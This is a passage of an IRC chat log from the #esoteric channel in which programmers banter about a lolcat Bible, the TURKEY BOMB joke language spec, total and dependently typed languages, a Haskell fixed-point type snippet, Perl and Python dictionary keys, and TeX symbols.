rationality/ of Christians is ridiculous,. < 1267469998 0 :Slereah!~Slereah@ANantes-259-1-32-128.w92-135.abo.wanadoo.fr JOIN :#esoteric < 1267470001 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*ridiculous. < 1267470016 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, what, there is a lolcat version of the bible?? < 1267470026 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.lolcatbible.com/ < 1267470027 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Warning: Awful < 1267470041 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: apparently yes < 1267470057 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.lolcatbible.com/index.php?title=Revelation_1 < 1267470069 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Interestingly, this makes exactly the same amount of sense as the actual Revelation. < 1267470078 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, yeargh < 1267470079 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :indeed < 1267470085 0 :mrbug!~user@unaffiliated/mrbug JOIN :#esoteric < 1267470092 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Somehow, that doesn't surprise me. < 1267470130 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.lolcatbible.com/index.php?title=Revelation_22 < 1267470131 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hahaha < 1267470152 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"He which testifieth these things saith, Surely I come quickly. Amen. Even so, come, Lord Jesus." < 1267470153 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :--> < 1267470154 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"BRB" < 1267470218 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: wait, from what do you derive that turkey bomb actually has variables? < 1267470225 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :NOMENCLATUREs are related to them < 1267470232 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but I see nothing about actually using variables in expressions or anything < 1267470252 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: there's a comment somewhere else that anyone can create a variable by saying its name and value < 1267470258 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :at any time, including while someone else is calculating < 1267470261 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Variables are also declared by any player spontaneously standing up and shouting out a name that hasn't been mentioned yet, and a type to go with it, at any time." < 1267470266 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: but that doesn't mean you can actually use them in expressions < 1267470267 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oh, name and type < 1267470271 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :only that they exist, in some vague sense < 1267470274 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: no, I wasn't assuming that < 1267470279 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267470283 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :for all I know, they exist just to mess with NOMENCLATUREs < 1267470306 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then, wait < 1267470311 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it doesn't say there are literals, either < 1267470317 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so every expression /must be infinitely nested/ < 1267470336 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it also says the spec is possibly incomplete < 1267470338 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :doesn't it < 1267470348 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so you shouldn't assume that it is complete < 1267470348 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I think there probably are literals, or how could you play it as a drinking game? < 1267470350 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: that's why we're making such ridiculous assumptions < 1267470362 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ? < 1267470367 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: holding literal BI_ITs and PUDDINGS etc up < 1267470373 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: because it's incomplete < 1267470379 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267470398 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : BI_IT BI_IT BI_IT ! BI_IT BI_IT BI_IT < 1267470402 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I assume those are values < 1267470406 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1267470407 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to be inserted there < 1267470412 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then there must be literals < 1267470412 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: but yes there probably are literals < 1267470429 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :unless that is actually the literal phrase "BI_IT BI_IT BI_IT ! BI_IT BI_IT BI_IT" < 1267470436 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: or just nested expressions < 1267470445 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: so obviously a @HUMIDOR type of pudding "contains" all the values within it < 1267470466 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a regular pudding-but-with-exclusion contains all values in the entire turkey bomb universe (possible values or only used values?) except for one < 1267470489 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a metaphysical-pudding contains the interpreter's representation of EXPR, represented somehow as multiple values inside the pudding < 1267470538 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, except which one? < 1267470560 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ALL BUT EXPR < 1267470560 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Returns a PUDDING indicating everything but EXPR. < 1267470562 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That one. < 1267470570 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ALL BUT EXPR < 1267470570 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Returns a PUDDING indicating everything but EXPR. < 1267470571 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WHEREFORE ART EXPR < 1267470571 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267470571 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Returns a PUDDING indicating the entire metaphysical nature of EXPR. < 1267470571 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WHEREFORE AIN'T EXPR < 1267470572 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Short for WHEREFORE ART ALL BUT EXPR. < 1267470572 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WHEREFOREN'T EXPR < 1267470572 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Short for ALL BUT WHEREFORE ART EXPR. < 1267470588 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WHEREFORE AIN'T EXPR = A PUDDING indicating the metaphysical nature of (a PUDDING indicating everything but EXPR). < 1267470607 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WHEREFOREN'T EXPR = A PUDDING indicating everything but (a PUDDING indicating the metaphysical nature of EXPR). < 1267470615 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267470617 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :those other ones < 1267470621 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :are somewhat trcky < 1267470635 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :HUMIDOR.type < 1267470635 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Retrieves an element from a HUMIDOR. < 1267470645 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: is type a placeholder in the syntax or literally "type" do you think? < 1267470653 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :no idea < 1267470653 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :they don't seem to use type, so i guess it's literal < 1267470670 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :HUMIDOR BUILT UP FROM type, type & type < 1267470670 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A structure containing three other types, specified at compile-time, all of which must be different, one of which must be another HUMIDOR. < 1267470670 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Infinite. < 1267470671 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :HYBRID OBTAINED BY COMBINING type & type [WITH GUSTO] < 1267470671 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A unified structure containing data from two different types, specified at compile time. < 1267470673 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :HYBRID.type < 1267470673 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Casts a HYBRID to either type it was defined with. < 1267470674 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :HUMIDOR.type < 1267470674 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Retrieves an element from a HUMIDOR. < 1267470675 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it does use type indeed < 1267470683 0 :tombom!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1267470692 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :wait, HUMIDOR /types/ are infinite < 1267470704 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :HUMIDOR BUILT UP FROM ZILCH, ZILCH & HUMIDOR BUILT UPF ROM ZILCH, ZILCH & ... < 1267470708 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267470731 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wasn't there a discussion about implementing it sometime during 2007? < 1267470782 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, I wish you best of luck < 1267470796 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i really do believe I need scarf to do it though :P < 1267470805 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, why? < 1267470815 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because it needs 10-valued logic? < 1267470818 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and he knows VHDL? < 1267470825 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no, because he has thought about it a lot and has lots of answers < 1267470832 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :plus a potentially TC model of execution (it doesn't actually have one) < 1267470836 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(you have to derive it from the drinking game) < 1267470838 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why on earth has he spent time on it < 1267470844 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :he was trying to implement it < 1267470848 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why < 1267470849 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1267470855 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :look at the channel name < 1267470857 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :look at our wiki < 1267470858 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then GTFO < 1267470866 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267470873 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, yeah but I think it is impossible < 1267470876 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :turkey bomb, like everest, was there. < 1267470878 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no, it isn't < 1267470885 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :almost certainly not < 1267470891 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :very well then < 1267470912 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, implement it in intercal then < 1267470921 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :why? < 1267470930 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, it will be next to impossible < 1267470936 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :even if not actually impossible < 1267470944 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :malbolge if that isn't hard enough < 1267470980 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267470984 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you are greatly overestimating its difficulty < 1267471044 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I DONt know what TURKEY BONB is < 1267471096 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, ffs... see link above < 1267471104 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :? < 1267471115 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, /lastlog http:// < 1267471124 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :look for one containing turkeyb < 1267471139 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, now I'm not going to give you any more info than that < 1267471147 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :yck < 1267471154 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :was that "thanks"? < 1267471158 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267471162 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then what was it < 1267471197 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, also it is on the esolang wiki I bet < 1267471207 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :unlike AnMaster, I am not a blithering jerk < 1267471208 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://catseye.tc/projects/turkeyb/doc/turkeyb.html < 1267471211 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :loll < 1267471215 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, hey you do that to me < 1267471221 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so stop claiming not being a jerk < 1267471225 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes because i like irritating you :) < 1267471241 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Animated from the cover of an edition of New Scientist magazine, February 1977. < 1267471244 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :... (more info) < 1267471245 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, discrimination < 1267471247 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :(less info) < 1267471248 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric : Mrs Smith teaches the blind baby to see < 1267471256 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yes. < 1267471263 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, also http://esoteric.voxelperfect.net/wiki/TURKEY_BOMB < 1267471479 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1267471746 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It would be nice if my language was a language to describe values of certain types, and have certain values be programs that result in values of certain types, maybe. < 1267471754 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Although in a total language, I guess they're the same. < 1267472067 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Hey, that sounds like my language. < 1267472100 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"My language", said by Chris Pressey; one of the most ambiguous statements ever made? < 1267472107 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267472156 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :OK, OK! The "for real" language I want to do but never will. < 1267472189 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But what do you mean by "total language"? < 1267472196 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, Lisp fits the description, if you say that there's only one type. < 1267472202 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Which lets you model untyped languages.) < 1267472222 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: A total language is a functional programming language without general recursion; structural recursion is instead substituted. All programs halt. < 1267472228 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :total implies that every expression has a result (no exceptions, no infinite loops) < 1267472239 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(You can have TCness, though, with coinductive data types and even emulate non-totality with a partiality monad. It's Complicated.) < 1267472263 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Basically, e.g. Natural in a regular FP lang is Natural | Bottom < 1267472264 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :well, a strictly total language can't be TC < 1267472268 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :OK, that's what I thought. < 1267472269 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Bottom = nontermination, < 1267472276 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :errors, etc. < 1267472278 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but you can have an almost-total language which is < 1267472281 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: It's good because you can adorn it with dependently-typed languages, and get a constructivist proof system. < 1267472288 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Types = propositions; values = proofs. < 1267472303 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Otherwise "let x = x in x" is a proof of anything, which is rubbish. And if you have dependent types and non-totality, typechecking can loop forever. < 1267472314 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Well, it's the magic of codata. < 1267472348 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :For a lot of stuff I'm happy with merely primitive recursive. I wrote a totality-checker for Scheme programs in Scheme once. I wrote it in PR style and it passed its own check. < 1267472372 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's sufficient for anything w/ a partiality monad etc. < 1267472381 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If you've used Agda, Coq, or Epigram; they're all total. < 1267472389 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Most of the time you don't even notice. < 1267472479 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: oh, a program to see if a program is primitive-recursive or not? < 1267472488 0 :tombom_!~tombom@wikipedia/Tombomp JOIN :#esoteric < 1267472504 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Well, written in a certain PR style, yes. there are probably PR programs that it wouldn't see < 1267472510 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ah, ok < 1267472530 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But if it's not PR, it would tell you that. < 1267472554 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The "pure" way to do it is to define one inductive data type and base them all on that. < 1267472565 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :data Mu f = Mu (f (Mu f)), basically. < 1267472572 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And then a function to deconstruct such types recursively. < 1267472577 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Plus no actual recursion facility. < 1267472594 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, ⅋ is a great punctuation mark < 1267472615 0 :tombom!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1267472632 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: I have ... different ideas about type systems. < 1267472681 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: That's nice. < 1267472685 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Such as? :P < 1267472703 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I mean, type checking is a kind of static analysis, and all static analyses (incl but not limited to type checking) can be expressed in terms of abstract interpretation. < 1267472714 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well... yes. But that's at a metalevel to what I'm talking about. < 1267472719 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Are you familiar with dependent types at all? < 1267472731 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, kind of. Yes, passingly familar. < 1267472772 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yeah. The difference in perspective when you just add dependent types is immense. < 1267472823 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it's like you're on acid while everyone else is merely drunk. < 1267472861 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, one thing I'd like to do someday is to redo Splint, but properly < 1267472871 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lament: EXACTLY < 1267472874 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :as in, actually working, and with a set of types rich enough to actually describe interesting programs < 1267472880 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, what I'm getting at is, I'd like to design a language without any particular type system, and let different type systems be "plugged in", by allowing them to be written in some kind of annotation language for abstract interpretation. < 1267472904 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That would in no way preclude the use of dependent types... < 1267472951 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That sounds fun. < 1267473005 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what is your opinion on ipad btw? Now that it isn't as new any longer, and there are (maybe) some reviews out there < 1267473006 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Not too different from just saying "Here's my dynamically typed language, y'all write your own linters for it plz k thx", except a little less hands-off < 1267473044 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It's probably good at what it does and it's damn flashy, but what it does isn't what I want to do. < 1267473067 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, Right. Someone linked me this image (related to this): http://thismight.be/offensive/uploads/2010/03/01/image/288902_Think%20different.jpg < 1267473079 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not actually offensive (as the url would indicate) < 1267473087 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, maybe to apple fanboys < 1267473089 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267473091 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :totally SFW though < 1267473092 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :iSpace < 1267473099 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ooh that would be the next step < 1267473109 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a totally flat 2d plane underneath all of space itself < 1267473113 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then... < 1267473115 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :iCube < 1267473117 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then... < 1267473118 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :iUniverse < 1267473121 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(filling in the corners) < 1267473131 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267473325 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bbl < 1267473332 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :newtype Mu f = Mu (f (Mu f)) < 1267473332 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :data Nat nat = Succ nat < 1267473332 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :instance (Show nat) => Show (Nat nat) where < 1267473333 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : show (Succ n) = "Succ (" ++ show n ++ ")" < 1267473333 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :instance (Show (f (Mu f))) => Show (Mu f) where < 1267473333 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : show (Mu x) = show x < 1267473336 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You wouldn't believe it, but this actually works. < 1267473346 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :There are some other cool methods for termination analysis that have come out of term-rewriting research. I wanted to play with those in Scheme, but I balked at reworking the Scheme semantics into a rewrite system... < 1267473347 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :does it need flexible instance < 1267473354 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes; and undecidable instances too < 1267473363 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Mutually recursive typeclass instances. Fuck yeah. < 1267473402 0 :mrbug!unknown@unknown.invalid PART #esoteric :? < 1267473670 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I totally do not get it. Well, not totally. Actually I get the idea. Just not the mechanics. < 1267473704 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Then you have to realize, I'm living in a code-world where people still say things like d["%s_%s" % (a, b)] = c < 1267473724 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I thought that sort of stuff died with Perl 4 < 1267473798 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that isn't legal Perl4, surely? < 1267473825 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Ah, no, in Perl 4 it would be $d{"$a_$b"} = $c; < 1267473833 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But the IDEA is Perl 4-ish. < 1267473861 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Because when you can't store a dictionary inside a dictionary, well, you compose keys. < 1267473861 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you'd write it $d{$a,$b} = $c < 1267473871 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :where, instead of using _ to compose the keys, it uses the value of $; < 1267473882 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :which is by default ASCII 28, on the basis that you probably weren't using it for anything else < 1267473899 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That would be better style, then. < 1267473907 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :brb < 1267473909 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :typical nowadays would be $d{$a}->{$b} = $c < 1267473919 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and unlike C, you don't have to set up all the subhashes, they autovivify < 1267473929 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so messing with $; is rather deprecated nowadays < 1267474045 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :scarf: That's exactly my point, or at least part of it. This is Python, where there is no such restriction against storing dicts in dicts. Why are keys being computed? Makes them hell to cross-reference. < 1267474059 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: ah < 1267474109 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Sort of my higher point was, in this world, decidable *anything* is a dream -- dependent types are too much to hope for... < 1267474407 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :otoh, when the type system is C++'s, ... I'm sure that's hardly better... < 1267474567 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: I'm a pessimist, so of course I realise that the only way any of this can work is in my grand unified redesign of all of computing. A pessimistic idealist. What a thing. < 1267474592 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: hey, I'm a /cynical/ idealist, which is even more ridiculous < 1267474617 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what < 1267474621 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :dependent types are real < 1267474633 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I used to be a pessimist idealist, and I probably should have stayed one. < 1267474647 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: what are you now? < 1267474652 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: he never denied that < 1267474658 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, maybe I still am, at heart. < 1267474688 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Now I'm up a certain creek without a paddle :) < 1267474706 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Hey, there's that pessimism coming back! < 1267474785 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: Yes, in case there was any confusion, I meant only that people *using* dependent types in 90%+ of the industry is a pipe dream. < 1267474824 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :o_o < 1267474839 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :uh oh, here it comes < 1267474847 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I think BF compilers should use dependent types < 1267474856 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and dependent type inference < 1267474867 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :in order to work out what a program is actually doing, rather than just peephole-optimising < 1267474957 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :But peephole optimisation is so very *easy*! < 1267474986 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1267475051 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Does this connection still work? < 1267475085 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Ah, apparently it does... < 1267475208 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :either that or you're imagining things < 1267475274 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :dhcpcd took a SIGKILL and then was restarted... < 1267475326 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what is tex for dot product? < 1267475333 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :\cdot? < 1267475336 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah thanks < 1267475361 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, and normal product? < 1267475371 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :\times... < 1267475375 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh ffs < 1267475379 0 